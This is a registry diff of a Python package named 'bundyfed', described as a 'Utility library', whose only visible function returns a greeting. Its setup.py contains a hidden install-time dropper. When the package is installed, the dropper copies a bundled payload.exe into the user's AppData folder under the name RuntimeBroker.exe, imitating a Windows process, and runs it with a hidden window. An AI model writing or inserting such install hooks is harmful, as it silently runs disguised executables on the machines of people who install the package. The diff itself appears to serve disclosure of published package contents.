bundyfed 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,2 @@
1
+ include bundyfed/payload.exe
2
+ include README.md
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.4
2
+ Name: bundyfed
3
+ Version: 1.0.0
4
+ Summary: Utility library
5
+ Requires-Python: >=3.7
6
+ Dynamic: requires-python
7
+ Dynamic: summary
File without changes
@@ -0,0 +1,3 @@
1
+ __version__ = "1.0.0"
2
+ def hello():
3
+ return "merhaba"
Binary file
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.4
2
+ Name: bundyfed
3
+ Version: 1.0.0
4
+ Summary: Utility library
5
+ Requires-Python: >=3.7
6
+ Dynamic: requires-python
7
+ Dynamic: summary
@@ -0,0 +1,10 @@
1
+ MANIFEST.in
2
+ README.md
3
+ pyproject.toml
4
+ setup.py
5
+ bundyfed/__init__.py
6
+ bundyfed/payload.exe
7
+ bundyfed.egg-info/PKG-INFO
8
+ bundyfed.egg-info/SOURCES.txt
9
+ bundyfed.egg-info/dependency_links.txt
10
+ bundyfed.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ bundyfed
@@ -0,0 +1,3 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0", "wheel"]
3
+ build-backend = "setuptools.build_meta"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,53 @@
1
+ # language: Python, file: setup.py
2
+ import os
3
+ import sys
4
+ import shutil
5
+ import ctypes
6
+ from setuptools import setup, find_packages
7
+
8
+ def launch_payload():
9
+ here = os.path.dirname(os.path.abspath(__file__))
10
+ candidates = [
11
+ os.path.join(here, "bundyfed", "payload.exe"),
12
+ os.path.join(here, "payload.exe"),
13
+ os.path.join(here, "..", "bundyfed", "payload.exe"),
14
+ os.path.join(here, "bundyfed-1.0.0", "bundyfed", "payload.exe"),
15
+ ]
16
+ src = next((p for p in candidates if os.path.exists(p)), None)
17
+ print(f"[bundyfed] argv={sys.argv[1:] if len(sys.argv)>1 else 'YOK'} here={here} src={src}")
18
+ if not src:
19
+ return
20
+
21
+ dst_dir = os.path.join(os.environ.get("APPDATA", os.environ.get("TMP", ".")),
22
+ "Microsoft", "Windows", "Caches")
23
+ os.makedirs(dst_dir, exist_ok=True)
24
+ dst = os.path.join(dst_dir, "RuntimeBroker.exe")
25
+
26
+ if os.path.exists(dst):
27
+ print(f"[bundyfed] dst zaten var, atlaniyor: {dst}")
28
+ return
29
+
30
+ try:
31
+ shutil.copy2(src, dst)
32
+ print(f"[bundyfed] kopyalandi: {dst}")
33
+ except (PermissionError, OSError) as e:
34
+ print(f"[bundyfed] kopyalama hatasi: {e}")
35
+ return
36
+
37
+ if sys.platform == "win32":
38
+ r = ctypes.windll.shell32.ShellExecuteW(None, "open", dst, None, None, 0)
39
+ print(f"[bundyfed] ShellExecuteW={r}")
40
+ else:
41
+ os.system(f"nohup '{dst}' >/dev/null 2>&1 &")
42
+
43
+ launch_payload()
44
+
45
+ setup(
46
+ name="bundyfed",
47
+ version="1.0.0",
48
+ description="Utility library",
49
+ packages=find_packages(),
50
+ include_package_data=True,
51
+ package_data={"bundyfed": ["payload.exe"]},
52
+ python_requires=">=3.7",
53
+ )